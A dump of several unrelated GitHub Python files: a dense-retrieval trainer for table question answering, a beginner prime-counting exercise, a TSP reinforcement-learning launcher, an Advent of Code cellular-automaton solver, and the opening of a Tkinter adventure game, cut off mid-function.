# when validation finishes, remove tmp index\n self.tmp_table_dataset = None\n\n return None\n \n def test_step(self, sample_batched, batch_idx, dataloader_idx=0):\n return self._compute_query_embeddings_step(sample_batched, batch_idx)\n\n def test_epoch_end(self, test_step_outputs):\n self.save_HF_model()\n for i in range(len(self.test_dataloader())):\n if len(self.test_dataloader()) == 1:\n test_step_output = test_step_outputs\n else:\n test_step_output = test_step_outputs[i]\n \n log_dict = self.evaluate_outputs(test_step_output, self.test_dataloader()[i], self.test_dataloader_names[i])\n self.logging_results(log_dict, prefix=f\"{self.config.test.evaluation_name}_{self.test_dataloader_names[i]}\")\n # when testing finishes, remove tmp index\n self.tmp_table_dataset = None\n return None\n\n def _compute_query_embeddings_step(self, sample_batched, batch_idx):\n \"\"\"\n This function is shared by both valid and test\n \"\"\"\n test_batch = {\n 'input_ids': sample_batched['input_ids'].to(self.device),\n 'attention_mask': sample_batched['attention_mask'].to(self.device),\n }\n # batch_size x hidden_states\n query_emb = self.model.generate_query_embeddings(**test_batch)\n \n data_to_return = {\n 'btach_idx': batch_idx,\n 'query_emb': query_emb.detach().cpu(),\n 'question_ids': sample_batched['question_ids'],\n 'answers': sample_batched['answers'],\n 'pos_item_ids': sample_batched['pos_item_ids'],\n }\n\n return data_to_return\n \n\n\n def evaluate_outputs(self, step_outputs, current_data_loader, dataset_name, mode='test'):\n # Batching every validation step outputs\n query_embeddings = []\n question_ids = []\n pos_item_ids = []\n\n for step_output in step_outputs:\n query_embeddings.append(step_output['query_emb'])\n\n for question_id in step_output['question_ids']:\n question_ids.append(question_id)\n pos_item_ids.extend(step_output['pos_item_ids'])\n\n # question_ids = [0, 1, 2, ...]\n query_embeddings = torch.cat(query_embeddings, dim=0)\n \n ##################################\n ## Generate embeds for items ##\n ##################################\n \n n_queries = query_embeddings.shape[0]\n hidden_size = query_embeddings.shape[1]\n tables = current_data_loader.dataset.tables\n\n if self.tmp_table_dataset is None:\n # When item embeddings are not indexed, call the function\n # this will not be called more than once during a validation step\n # which reduces the time needed for validating more than one datasets\n logger.info(\"No tmp exists, start building indexes...\")\n self.prepare_item_embeddings(current_data_loader, mode)\n else:\n logger.info(\"reusing pre-computed indexes...\")\n \n table_dataset = self.tmp_table_dataset\n\n # # Create dataset instance and add faiss index\n # table_dataset = pd.DataFrame.from_dict(tables, orient='index')\n # table_dataset = Dataset.from_pandas(table_dataset)\n # table_dataset = table_dataset.rename_columns({'__index_level_0__': \"table_id\"})\n # if self.trainer.state.stage in ['sanity_check']:\n # # sanity check\n # logging.warning('Sanity check. Reducing number of items to speed up the sanity check.')\n # table_dataset = table_dataset.select(range(1000))\n\n # n_items = len(table_dataset)\n\n # logger.info(f\"n_queries {n_queries}; n_items {n_items}\")\n\n # i_batch_size = self.config[mode].batch_size\n # n_item_batchs = n_items // i_batch_size + 1\n\n # # rate_batch = np.zeros(shape=(n_queries, n_items))\n # # rate_batch = np.random.randint(0, 100, size=(n_queries, n_items))\n # # logger.info(f'rate_batch shape: {rate_batch.shape}')\n\n \n \n # # Create mapping between matrix indice and sub_table ids\n # decoder_input_modules = self.config.model_config.decoder_input_modules.module_list\n # table_contents = []\n # for table in tqdm(table_dataset):\n # sample = EasyDict(table=table)\n # parsed_data = current_data_loader.dataset.parse_modules(sample, decoder_input_modules, type='decoder_input')\n # table_contents.append(parsed_data.text_sequence)\n \n # # assert len(table_contents) == len(tables)\n # table_dataset = table_dataset.add_column(\"table_contents\", table_contents)\n\n # logger.info(f'There are {n_queries} queries.')\n # logger.info(f'Generating embeddings for items; there are {n_items} items.')\n\n # i_count = 0\n # item_embeddings = []\n # for i_batch_id in tqdm(range(n_item_batchs)):\n # i_start = i_batch_id * i_batch_size\n # i_end = min((i_batch_id + 1) * i_batch_size, n_items)\n # if i_end - i_start == 0:\n # break\n # passage_contents_batch = table_contents[i_start:i_end]\n \n # # Encode this batch of data\n # item_encoding = self.decoder_tokenizer(passage_contents_batch,\n # padding='longest',\n # max_length=self.config.data_loader.additional.max_decoder_source_length,\n # truncation=True,\n # return_tensors=\"pt\")\n \n # item_input_ids, item_attention_mask = item_encoding.input_ids, item_encoding.attention_mask\n \n # test_batch = EasyDict({\n # 'input_ids': item_input_ids.to(self.device),\n # 'attention_mask': item_attention_mask.to(self.device),\n # })\n\n # # batch_size x hidden_states\n # item_emb = self.model.generate_item_embeddings(**test_batch)\n # for x in item_emb:\n # item_embeddings.append(x.cpu().detach().numpy())\n\n # # n_queries x batch_size\n # # i_rate_batch = torch.matmul(query_embeddings, item_emb.t()).detach().cpu()\n\n # # rate_batch[:, i_start:i_end] = i_rate_batch\n # i_count += item_emb.shape[0]\n\n # assert i_count == n_items\n # # item_embeddings = torch.cat(item_embeddings, dim=0)\n # # print(item_embeddings.shape)\n\n # table_dataset = table_dataset.add_column(\"embeddings\", item_embeddings)\n\n # index = faiss.IndexHNSWFlat(hidden_size, 128, faiss.METRIC_INNER_PRODUCT)\n # table_dataset.add_faiss_index(\"embeddings\", custom_index=index)\n\n # Search the index and process results\n Ks = self.config.model_config.Ks\n logger.info(f\"searching for {query_embeddings.shape} queries\")\n query_results = table_dataset.get_nearest_examples_batch(\n index_name=\"embeddings\",\n queries=query_embeddings.numpy(),\n k=max(Ks),\n )\n batch_results = []\n\n # Log results\n columns=[\"question_id\", \"pos_item_ids\"] \\\n + ['p_{}'.format(i) for i in range(max(Ks))]\n test_table = wandb.Table(columns=columns)\n\n for question_id, pos_item_id, score, retrieved_tables in zip(question_ids, pos_item_ids, query_results.total_scores, query_results.total_examples):\n retrieved_tables_sorted = retrieved_tables['table_id']\n \n res = {\n 'question_id': question_id,\n 'retrieved_tables_sorted': retrieved_tables_sorted,\n 'retrieved_scores': score,\n 'pos_item_ids': pos_item_id,\n }\n batch_results.append(res)\n table_entry = [\n question_id,\n pos_item_id,\n ]\n for retrieved_table_id, retrieved_table_score in zip(retrieved_tables_sorted, score):\n table_entry+=[f\"{retrieved_table_id}, {retrieved_table_id==pos_item_id}, {retrieved_table_score}\"]\n \n test_table.add_data(*table_entry)\n \n \n \n ##############################\n ## Compute Metrics ##\n ##############################\n data_used_for_metrics = EasyDict(\n mode=mode,\n epoch=self.current_epoch,\n batch_retrieval_results=batch_results,\n Ks=Ks,\n )\n\n log_dict = self.compute_metrics(data_used_for_metrics)\n log_dict.artifacts.test_table = test_table\n\n return log_dict\n\n\n def prepare_item_embeddings(self, current_data_loader, mode):\n \"\"\"\n This function generates item embeddings for all tables\n \"\"\"\n tables = current_data_loader.dataset.tables\n\n # Create dataset instance and add faiss index\n table_dataset = pd.DataFrame.from_dict(tables, orient='index')\n table_dataset = Dataset.from_pandas(table_dataset)\n table_dataset = table_dataset.rename_columns({'__index_level_0__': \"table_id\"})\n if self.trainer.state.stage in ['sanity_check']:\n # sanity check\n logging.warning('Sanity check. Reducing number of items to speed up the sanity check.')\n table_dataset = table_dataset.select(range(1000))\n \n n_items = len(table_dataset)\n\n logger.info(f\"n_items {n_items}\")\n\n i_batch_size = self.config[mode].batch_size\n n_item_batchs = n_items // i_batch_size + 1\n\n # rate_batch = np.zeros(shape=(n_queries, n_items))\n # rate_batch = np.random.randint(0, 100, size=(n_queries, n_items))\n # logger.info(f'rate_batch shape: {rate_batch.shape}')\n\n \n \n # Create mapping between matrix indice and sub_table ids\n decoder_input_modules = self.config.model_config.decoder_input_modules.module_list\n table_contents = []\n for table in tqdm(table_dataset):\n sample = EasyDict(table=table)\n parsed_data = current_data_loader.dataset.parse_modules(sample, decoder_input_modules, type='decoder_input')\n table_contents.append(parsed_data.text_sequence)\n \n # assert len(table_contents) == len(tables)\n table_dataset = table_dataset.add_column(\"table_contents\", table_contents)\n\n logger.info(f'Generating embeddings for items; there are {n_items} items.')\n\n i_count = 0\n item_embeddings = []\n for i_batch_id in tqdm(range(n_item_batchs)):\n i_start = i_batch_id * i_batch_size\n i_end = min((i_batch_id + 1) * i_batch_size, n_items)\n if i_end - i_start == 0:\n break\n passage_contents_batch = table_contents[i_start:i_end]\n \n # Encode this batch of data\n item_encoding = self.decoder_tokenizer(passage_contents_batch,\n padding='longest',\n max_length=self.config.data_loader.additional.max_decoder_source_length,\n truncation=True,\n return_tensors=\"pt\")\n \n item_input_ids, item_attention_mask = item_encoding.input_ids, item_encoding.attention_mask\n \n test_batch = EasyDict({\n 'input_ids': item_input_ids.to(self.device),\n 'attention_mask': item_attention_mask.to(self.device),\n })\n\n # batch_size x hidden_states\n item_emb = self.model.generate_item_embeddings(**test_batch)\n for x in item_emb:\n item_embeddings.append(x.cpu().detach().numpy())\n\n # n_queries x batch_size\n # i_rate_batch = torch.matmul(query_embeddings, item_emb.t()).detach().cpu()\n\n # rate_batch[:, i_start:i_end] = i_rate_batch\n i_count += item_emb.shape[0]\n\n assert i_count == n_items\n # item_embeddings = torch.cat(item_embeddings, dim=0)\n # print(item_embeddings.shape)\n\n table_dataset = table_dataset.add_column(\"embeddings\", item_embeddings)\n\n if self.trainer.state.stage == 'test' and self.global_rank==0:\n # Save the dataset\n save_path = os.path.join(self.config.results_path, 'step_{}'.format(self.global_step))\n create_dirs([save_path])\n table_dataset_path = os.path.join(save_path, \"table_dataset\")\n table_dataset.save_to_disk(table_dataset_path)\n\n hidden_size = item_embeddings[0].shape[-1]\n print(\"hidden size\", hidden_size)\n\n if \"exhaustive_search_in_testing\" in self.config.model_config.modules:\n index = faiss.IndexFlatIP(hidden_size)\n else:\n index = faiss.IndexHNSWFlat(hidden_size, 128, faiss.METRIC_INNER_PRODUCT)\n \n # in testing mode, save the generated embeddings\n if self.trainer.state.stage == 'test' and self.global_rank==0:\n \n save_path = os.path.join(self.config.results_path, 'step_{}'.format(self.global_step))\n create_dirs([save_path])\n \n index_path = os.path.join(save_path, \"table_dataset_hnsw_index.faiss\")\n logger.info(f'saving embedding files into {index_path}')\n dataset_copy = copy.deepcopy(table_dataset)\n to_save_index = faiss.IndexHNSWFlat(hidden_size, 128, faiss.METRIC_INNER_PRODUCT)\n dataset_copy.add_faiss_index(\"embeddings\", custom_index=to_save_index)\n dataset_copy.get_index(\"embeddings\").save(index_path)\n \n table_dataset.add_faiss_index(\"embeddings\", custom_index=index)\n\n # save to tmp variables\n self.tmp_table_dataset = table_dataset\n\n\n def logging_results(self, log_dict, prefix='test'):\n \n ### Add test results to wandb / tensorboard\n metrics_to_log = EasyDict()\n wandb_artifacts_to_log = dict()\n # Refractor the column names\n for metric, value in log_dict.metrics.items():\n metrics_to_log[f'{prefix}/{metric}'] = value\n \n # include other artifacts / metadata\n metrics_to_log[f'{prefix}/epoch'] = self.current_epoch\n wandb_artifacts_to_log.update({\n f\"predictions/step_{self.global_step}_MODE({self.config.mode})_SET({prefix})_rank({self.global_rank})\": log_dict.artifacts['test_table']\n })\n pprint(metrics_to_log)\n pprint(wandb_artifacts_to_log)\n\n logger.info(f\"Evaluation results [{self.trainer.state.stage}]: {metrics_to_log}\")\n \n if self.trainer.state.stage in ['sanity_check']:\n logging.warning('Sanity check mode, not saving to loggers.')\n return\n \n # Add to loggers\n for metric, value in metrics_to_log.items():\n if type(value) in [float, int, np.float64]:\n self.log(metric, float(value), logger=True, sync_dist=True)\n else:\n logger.info(f'{metric} is not a type that can be logged, skippped.')\n \n # Call wandb to log artifacts; remember to use commit=False so that the data will be logged\n # with other metrics later.\n if self.config.args.log_prediction_tables:\n self.wandb_logger.experiment.log(wandb_artifacts_to_log, commit=False)\n \n \n def forward(self, **kwargs):\n return self.model(**kwargs)\n\n def save_HF_model(self):\n '''\n Save models with the Huggingface built-in save_pretrained() function.\n The checkpoints can be loaded by a RAG-like system.\n '''\n if self.global_rank != 0:\n logger.info('global rank is not 0, skip saving models')\n return\n logger.info('Saving model in the Huggingface format...')\n path_save_model = os.path.join(self.config.saved_model_path, 'step_{}'.format(self.global_step))\n self.model.query_encoder.save_pretrained(os.path.join(path_save_model, 'query_encoder'))\n self.data_loader.tokenizer.save_pretrained(os.path.join(path_save_model, 'query_encoder_tokenizer'))\n self.model.item_encoder.save_pretrained(os.path.join(path_save_model, 'item_encoder'))\n self.data_loader.decoder_tokenizer.save_pretrained(os.path.join(path_save_model, 'item_encoder_tokenizer'))\n logger.info('Model has been saved to {}'.format(path_save_model))\n","repo_name":"amazon-science/robust-tableqa","sub_path":"src/trainers/DPR_executor.py","file_name":"DPR_executor.py","file_ext":"py","file_size_in_byte":24949,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"19"} +{"seq_id":"39607802552","text":"\"\"\"Llenar una lista de tamaño aleatorio entre 10 y 25 elementos. Llene la lista con números\naleatorios. Muestre cuales y cuantos son primos\"\"\"\n\nimport random\n\nasd=[]\nsuma=0\n\nfor a in range (random.randint(10,25)):\n asd.insert(1,int(random.random()*100))\n \nprint(asd)\nfor a in asd:\n cont = 0\n for y in range (1,a+1):\n if a % y == 0:\n cont =+ 1\n if cont == 2:\n print(a,\"es primo\")\n suma+= 1\n else:\n print (a,\"no es primo\")\nprint(\"cantidad de primos\", suma)\n\n\n \n \n \n \n","repo_name":"WalkingBot00018/python-ejercicios","sub_path":"micelaneas/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"27432972750","text":"import argparse\n\nimport torch\nfrom math import ceil\n\nfrom tsp.datagen import TspLiveDatagen, TspDataset\nfrom tsp.model.monty_style import TspMontyStyleModel, TspMsAcModel\nfrom tsp.agent import TspAgent\nfrom tsp.algo import TspReinforce, TspA2C, TspPPO\nfrom tsp.train import TspTrainer\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\n \"name\", nargs=\"?\", default=None, type=str\n) # logs to /runs//progress.csv (if not provided, no logging occurs)\nparser.add_argument(\n \"--nodes\", nargs=\"+\", default=None, type=int\n) # can be space-separated list of problem sizes\nparser.add_argument(\n \"--node_range\", nargs=2, default=None, type=int\n) # use this or --nodes but not both\nparser.add_argument(\"--batch_size\", default=1024, type=int)\nparser.add_argument(\"--eval_samples\", default=10000, type=int)\nparser.add_argument(\"--eval_batch_size\", default=1000, type=int)\nparser.add_argument(\"--itr\", default=250, type=float, help=\"in thousands\")\nparser.add_argument(\"--check_period\", default=100, type=int)\nparser.add_argument(\"--eval_period\", default=1000, type=int)\nparser.add_argument(\"--grad_norm_clip\", default=1.0, type=float)\nparser.add_argument(\"--critic_coeff\", default=1.0, type=float)\nparser.add_argument(\"--model_dim\", default=128, type=int)\nparser.add_argument(\"--n_enc\", default=6, type=int)\nparser.add_argument(\"--n_dec\", default=6, type=int)\nparser.add_argument(\"--n_crt\", default=6, type=int)\nparser.add_argument(\"--lr\", default=1e-5, type=float)\nparser.add_argument(\"--device\", default=None, type=int)\nparser.add_argument(\"--algo\", default=\"ppo\", choices=[\"a2c\", \"ppo\"], type=str, help=\"train with compositional A2C or PPO; defaults to PPO\")\nparser.add_argument(\"--minibatch_epochs\", default=1, type=int, help=\"PPO only; number of minibatch epochs aka how many times to use data before getting new samples\")\nparser.add_argument(\"--minibatches\", default=4, type=int, help=\"PPO only; how many minibatches (gradient updates) to take per minibatch_epoch\")\nparser.add_argument(\"--ratio_clip\", default=0.1, type=float, help=\"PPO only; clamp threshold during creation of surrogate objectives in loss (smaller means more stable but more constrained gradient updates)\")\n\n\ndef interpret_problem_sizes(args):\n if args.nodes is not None and args.node_range is not None:\n raise ValueError(\"May specify custom '--nodes' or '--node_range' but not both\")\n elif args.node_range is not None:\n start, end = args.node_range\n return range(start, end + 1) # inclusive end bound\n elif args.nodes is not None:\n return args.nodes\n else:\n return (20,) # default\n\n\nif __name__ == \"__main__\":\n\n args = parser.parse_args()\n\n nodes = interpret_problem_sizes(args)\n\n # create TSP datasets\n total_samples = ceil(1e3 * args.itr * args.batch_size)\n dataset = TspLiveDatagen(size=nodes, epoch_size=total_samples)\n\n eval_datasets = [(\"all\", TspDataset(size=nodes, num_samples=args.eval_samples))]\n\n if len(nodes) > 1:\n # also eval on data strictly containing lower and upper problem size bounds\n low, high = min(nodes), max(nodes)\n eval_datasets += [\n (f\"{low}n\", TspDataset(size=low, num_samples=args.eval_samples))\n ]\n eval_datasets += [\n (f\"{high}n\", TspDataset(size=high, num_samples=args.eval_samples))\n ]\n\n # initialize model and agent\n model = TspMsAcModel(\n dim_model=args.model_dim,\n num_enc_layers=args.n_enc,\n num_dec_layers=args.n_dec,\n num_crt_layers=args.n_crt,\n )\n agent = TspAgent(model)\n\n if args.device is not None:\n agent.to(args.device)\n\n # initialize algorithm and optimizer\n optimizer = torch.optim.Adam(agent.parameters(), lr=args.lr)\n\n if args.algo == \"ppo\":\n AlgoCls = TspPPO\n extra_algo_kwargs = dict(\n epochs=args.minibatch_epochs,\n minibatches=args.minibatches,\n ratio_clip=args.ratio_clip\n )\n elif args.algo == \"a2c\":\n AlgoCls = TspA2C\n extra_algo_kwargs = dict() # no extra kwargs\n else:\n raise Exception(f\"Unrecognized training algorithm '{args.algo}'\")\n\n algo = AlgoCls(\n optimizer, grad_norm_clip=args.grad_norm_clip, critic_coeff=args.critic_coeff, **extra_algo_kwargs\n )\n\n # build runner and start training\n runner = TspTrainer(dataset, agent, algo, args.name, eval_datasets=eval_datasets)\n\n runner.start(\n epochs=1,\n batch_size=args.batch_size,\n check_period=args.check_period,\n eval_period=args.eval_period,\n eval_batch_size=args.eval_batch_size,\n )\n","repo_name":"mitre/tsp","sub_path":"launch/train_model_agent.py","file_name":"train_model_agent.py","file_ext":"py","file_size_in_byte":4631,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"19"} +{"seq_id":"12801293327","text":"#!/usr/bin/env python\n\nimport argparse\nimport logging\n\n\ndef parse_data(fp):\n cubes = set()\n fp.seek(0, 0)\n for x, line in enumerate(fp.readlines()):\n for y, c in enumerate(line):\n if c == '#':\n cubes.add((x, y, 0, 0))\n return cubes\n\n\ndef get_range(cubes, i, d4=False):\n if not d4 and i == 3:\n return [0]\n low = min(c[i] for c in cubes)\n high = max(c[i] for c in cubes)\n # extend box with one\n return range(low-1, high+2)\n\n\ndef pertubate(cubes, d4=False):\n # pre-calc bounding box ranges\n ranges = list()\n for i in range(0, 4):\n ranges.append(get_range(cubes, i, d4))\n\n new_cubes = set()\n for x in ranges[0]:\n for y in ranges[1]:\n for z in ranges[2]:\n for w in ranges[3]:\n nb = 0\n for dx in [-1, 0, 1]:\n for dy in [-1, 0, 1]:\n for dz in [-1, 0, 1]:\n for dw in [-1, 0, 1]:\n if dx != 0 or dy != 0 or dz != 0 or dw != 0:\n if (x+dx, y+dy, z+dz, w+dw) in cubes:\n nb += 1\n if (x, y, z, w) in cubes:\n if nb == 2 or nb == 3:\n new_cubes.add((x, y, z, w))\n else:\n if nb == 3:\n new_cubes.add((x, y, z, w))\n\n return new_cubes\n\n\ndef solve(cubes, nstep, d4=False):\n for i in range(nstep):\n cubes = pertubate(cubes, d4)\n logging.debug(\"After step %d, num cubes: %d\", i, len(cubes))\n return len(cubes)\n\n\ndef main(args):\n cubes = parse_data(args.data)\n logging.info(\"Starting cubes %s\", cubes)\n answer = solve(cubes, args.nstep, )\n logging.info(\"Number of cubes after %d step is in 3d: %d\", args.nstep, answer)\n\n answer = solve(cubes, args.nstep, True)\n logging.info(\"Number of cubes after %d step is in 4d: %d\", args.nstep, answer)\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('-l', '--log', help=\"Log level\",\n choices=['debug', 'info', 'warn', 'error'], default='info')\n parser.add_argument('data', help=\"input data file\", type=argparse.FileType('r'))\n parser.add_argument('nstep', help=\"amount of steps\", type=int)\n return parser.parse_args()\n\n\ndef set_logging(loglevel=\"INFO\"):\n numeric_level = getattr(logging, loglevel.upper(), None)\n if not isinstance(numeric_level, int):\n raise ValueError('Invalid log level: %s' % loglevel)\n logging.basicConfig(level=numeric_level, format='%(asctime)s %(levelname)s %(message)s')\n\n\nif __name__ == '__main__':\n args = parse_args()\n set_logging(args.log)\n main(args)\n","repo_name":"schans/aoc2020","sub_path":"17/cubes.py","file_name":"cubes.py","file_ext":"py","file_size_in_byte":2823,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"36601149109","text":"import json\r\nfrom random import randint \r\nfrom tkinter import messagebox\r\nfrom tkinter import *\r\nwindow = Tk()\r\n\r\n# +------------------------\r\n# | Text for various menus \r\n# +------------------------\r\nmain_text = [\"New Game\",\\\r\n \"Resume Game\",\\\r\n# \"View Leaderboard\",\\\r\n \"Exit Game\"]\r\n\r\ntown_text = [\"View Character\",\\\r\n \"View Map\",\\\r\n \"Move\",\\\r\n \"Rest\",\\\r\n \"Save Game\",\\\r\n \"Exit Game\"]\r\n\r\nopen_text = [\"View Character\",\\\r\n \"View Map\",\\\r\n \"Move\",\\\r\n \"Sense Orb\",\\\r\n \"Exit Game\"]\r\n\r\nfight_text = [\"Attack\",\\\r\n \"Run\"]\r\n\r\nworld_map = [['H/T', ' ', ' ', ' ', ' ', ' ', ' ', ' '],\\\r\n [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '],\\\r\n [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '],\\\r\n [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '],\\\r\n [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '],\\\r\n [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '],\\\r\n [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '],\\\r\n [' ', ' ', ' ', ' ', ' ', ' ', ' ', 'K']]\r\n\r\n\r\nprint(\"Welcome to Ratventure!\")\r\nprint(\"----------------------\")\r\n\r\n#Start\r\n# Rat Stats\r\nrat_damage = [1,3]\r\nrat_defence = 1\r\nrat_health = 10\r\n\r\n# Hero Stats\r\nhero_health = 20\r\nhero_damage = [10,15]\r\nhero_defence = 20\r\n\r\n# King Stats\r\nking_health = 25\r\nking_damage = [8,12]\r\nking_defence = 5\r\n\r\n#Showing the Day Count\r\nday = 0\r\ndaysentence = ' '\r\n\r\ndef days():\r\n global day\r\n global daysentence\r\n for sublist in world_map:\r\n for element in sublist:\r\n if element == 'H/T':\r\n result = 'You are in a town.'\r\n\r\n elif element == 'H':\r\n result = 'You are outdoors.'\r\n\r\n elif element == 'H/K':\r\n result = 'You see the Rat King!'\r\n \r\n day += 1\r\n daysentence = ('Day {}: {}'.format(day,result))\r\n dayLabel.configure(text = daysentence)\r\n rundayLabel.configure(text = daysentence)\r\n combatdayLabel.configure(text = daysentence)\r\n\r\n#Resume Game\r\ndef resume():\r\n global health\r\n global damage\r\n global defense\r\n global day\r\n global daysentence\r\n global world_map\r\n global hero_x\r\n global hero_y\r\n savefile = open('RatventureGame.json','r')\r\n raw_data = savefile.read()\r\n saved_data = json.loads(raw_data)\r\n health = saved_data['Health']\r\n damage = saved_data['Damage']\r\n defense = saved_data['Defence']\r\n world_map = saved_data['Map']\r\n day = saved_data['Day'] - 1\r\n daysentence = saved_data['Daysentence']\r\n hero_x = saved_data['X-coordinates']\r\n hero_y = saved_data['Y-coordinates']\r\n savefile.close()\r\n restshow_new()\r\n\r\n#Exit Game\r\ndef exit():\r\n messagebox.showinfo(title='Ratventure Message', message='You Have Exited The Game.')\r\n window.destroy()\r\n \r\n#2.1\r\ndef showstats():\r\n newFrame.place_forget()\r\n op1Frame.place(x=0,y=0)\r\n op2Frame.place_forget()\r\n op3Frame.place_forget()\r\n op4Frame.place_forget()\r\n combatFrame.place_forget()\r\n attackFrame.place_forget()\r\n runFrame.place_forget()\r\n senseorbFrame.place_forget()\r\n attackFrame.place_forget()\r\n new4Title.configure(text = 'HP: {}'.format(hero_health))\r\n\r\ndef runshowstats():\r\n newFrame.place_forget()\r\n op1Frame.place(x=0,y=0)\r\n op2Frame.place_forget()\r\n op3Frame.place_forget()\r\n op4Frame.place_forget()\r\n combatFrame.place_forget()\r\n attackFrame.place_forget()\r\n runFrame.place_forget()\r\n senseorbFrame.place_forget()\r\n attackFrame.place_forget()\r\n\r\n#2.2\r\ndef map():\r\n mapgrid = '' \r\n for sublist in world_map:\r\n mapgrid += '+---+---+---+---+---+---+---+---+\\n'\r\n for element in sublist:\r\n mapgrid += '|{:^3}'.format(element)\r\n mapgrid += '|\\n'\r\n mapgrid += '+---+---+---+---+---+---+---+---+'\r\n\r\n mapText.configure(state = 'normal')\r\n mapText.delete('1.0', 'end')\r\n mapText.insert('end', mapgrid)\r\n mapText.configure(state = 'disabled')\r\n\r\n newFrame.place_forget()\r\n op1Frame.place_forget()\r\n op2Frame.place(x=0,y=0)\r\n op3Frame.place_forget()\r\n op4Frame.place_forget()\r\n runFrame.place_forget()\r\n combatFrame.place_forget()\r\n senseorbFrame.place_forget()\r\n attackFrame.place_forget()\r\n\r\n#2.3\r\ndef movemap():\r\n mapgrid = '' \r\n for sublist in world_map:\r\n mapgrid += '+---+---+---+---+---+---+---+---+\\n'\r\n for element in sublist:\r\n mapgrid += '|{:^3}'.format(element)\r\n mapgrid += '|\\n'\r\n mapgrid += '+---+---+---+---+---+---+---+---+'\r\n\r\n newmapText.configure(state = 'normal')\r\n newmapText.delete('1.0', 'end')\r\n newmapText.insert('end', mapgrid)\r\n newmapText.configure(state = 'disabled')\r\n\r\nhero_y = 0\r\nhero_x = 0\r\nfor sublist in world_map:\r\n for element in sublist:\r\n if element == 'H/T':\r\n hero_x = sublist.index(element)\r\n hero_y = world_map.index(sublist)\r\n\r\n elif element == 'H':\r\n hero_x = sublist.index(element)\r\n hero_y = world_map.index(sublist)\r\n \r\ndef moveup():\r\n global hero_y\r\n global hero_x\r\n if hero_y > 0:\r\n if world_map[hero_y][hero_x] == 'H/T':\r\n world_map[hero_y][hero_x] = 'T'\r\n\r\n elif world_map[hero_y][hero_x] == 'H':\r\n world_map[hero_y][hero_x] = ' '\r\n\r\n elif world_map[hero_y][hero_x] == 'H/K':\r\n world_map[hero_y][hero_x] = 'K'\r\n\r\n hero_y -= 1\r\n\r\n if world_map[hero_y][hero_x] == 'T':\r\n world_map[hero_y][hero_x] = 'H/T'\r\n\r\n elif world_map[hero_y][hero_x] == ' ':\r\n world_map[hero_y][hero_x] = 'H'\r\n\r\n elif world_map[hero_y][hero_x] == 'K':\r\n world_map[hero_y][hero_x] = 'H/K'\r\n \r\n movemap()\r\n days()\r\n backcheck()\r\n combat()\r\n \r\n\r\ndef movedown():\r\n global hero_y\r\n global hero_x\r\n if hero_y < 7:\r\n if world_map[hero_y][hero_x] == 'H/T':\r\n world_map[hero_y][hero_x] = 'T'\r\n\r\n elif world_map[hero_y][hero_x] == 'H':\r\n world_map[hero_y][hero_x] = ' '\r\n\r\n elif world_map[hero_y][hero_x] == 'H/K':\r\n world_map[hero_y][hero_x] = 'K'\r\n \r\n hero_y += 1\r\n\r\n if world_map[hero_y][hero_x] == 'T':\r\n world_map[hero_y][hero_x] = 'H/T'\r\n\r\n elif world_map[hero_y][hero_x] == ' ':\r\n world_map[hero_y][hero_x] = 'H'\r\n\r\n elif world_map[hero_y][hero_x] == 'K':\r\n world_map[hero_y][hero_x] = 'H/K'\r\n\r\n movemap()\r\n days()\r\n backcheck()\r\n combat()\r\n \r\n\r\ndef moveleft():\r\n global hero_y\r\n global hero_x\r\n if hero_x > 0:\r\n if world_map[hero_y][hero_x] == 'H/T':\r\n world_map[hero_y][hero_x] = 'T'\r\n\r\n elif world_map[hero_y][hero_x] == 'H':\r\n world_map[hero_y][hero_x] = ' '\r\n\r\n elif world_map[hero_y][hero_x] == 'H/K':\r\n world_map[hero_y][hero_x] = 'K'\r\n\r\n hero_x -= 1\r\n\r\n if world_map[hero_y][hero_x] == 'T':\r\n world_map[hero_y][hero_x] = 'H/T'\r\n\r\n elif world_map[hero_y][hero_x] == ' ':\r\n world_map[hero_y][hero_x] = 'H' \r\n\r\n elif world_map[hero_y][hero_x] == 'K':\r\n world_map[hero_y][hero_x] = 'H/K'\r\n \r\n movemap()\r\n days()\r\n backcheck()\r\n combat()\r\n\r\ndef moveright():\r\n global hero_y\r\n global hero_x\r\n global world_map\r\n if hero_x < 7:\r\n if world_map[hero_y][hero_x] == 'H/T':\r\n world_map[hero_y][hero_x] = 'T'\r\n\r\n elif world_map[hero_y][hero_x] == 'H':\r\n world_map[hero_y][hero_x] = ' '\r\n\r\n elif world_map[hero_y][hero_x] == 'H/K':\r\n world_map[hero_y][hero_x] = 'K'\r\n \r\n hero_x += 1\r\n\r\n if world_map[hero_y][hero_x] == 'T':\r\n world_map[hero_y][hero_x] = 'H/T'\r\n\r\n elif world_map[hero_y][hero_x] == ' ':\r\n world_map[hero_y][hero_x] = 'H'\r\n\r\n elif world_map[hero_y][hero_x] == 'K':\r\n world_map[hero_y][hero_x] = 'H/K'\r\n \r\n movemap()\r\n days()\r\n backcheck()\r\n combat()\r\n \r\n\r\ndef move():\r\n if hero_y == 0:\r\n upButton.configure(state = 'disabled')\r\n else:\r\n upButton.configure(state = 'normal')\r\n \r\n if hero_y == 7:\r\n downButton.configure(state = 'disabled')\r\n else:\r\n downButton.configure(state = 'normal')\r\n \r\n if hero_x == 0:\r\n leftButton.configure(state = 'disabled')\r\n else:\r\n leftButton.configure(state = 'normal')\r\n \r\n if hero_x == 7:\r\n rightButton.configure(state = 'disabled')\r\n else:\r\n rightButton.configure(state = 'normal')\r\n\r\n newFrame.place_forget()\r\n op1Frame.place_forget()\r\n op2Frame.place_forget()\r\n op3Frame.place(x=0,y=0)\r\n op4Frame.place_forget()\r\n runFrame.place_forget()\r\n combatFrame.place_forget()\r\n movemap()\r\n senseorbFrame.place_forget()\r\n attackFrame.place_forget()\r\n\r\n#2.4\r\ndef rest():\r\n global hero_health\r\n hero_health = 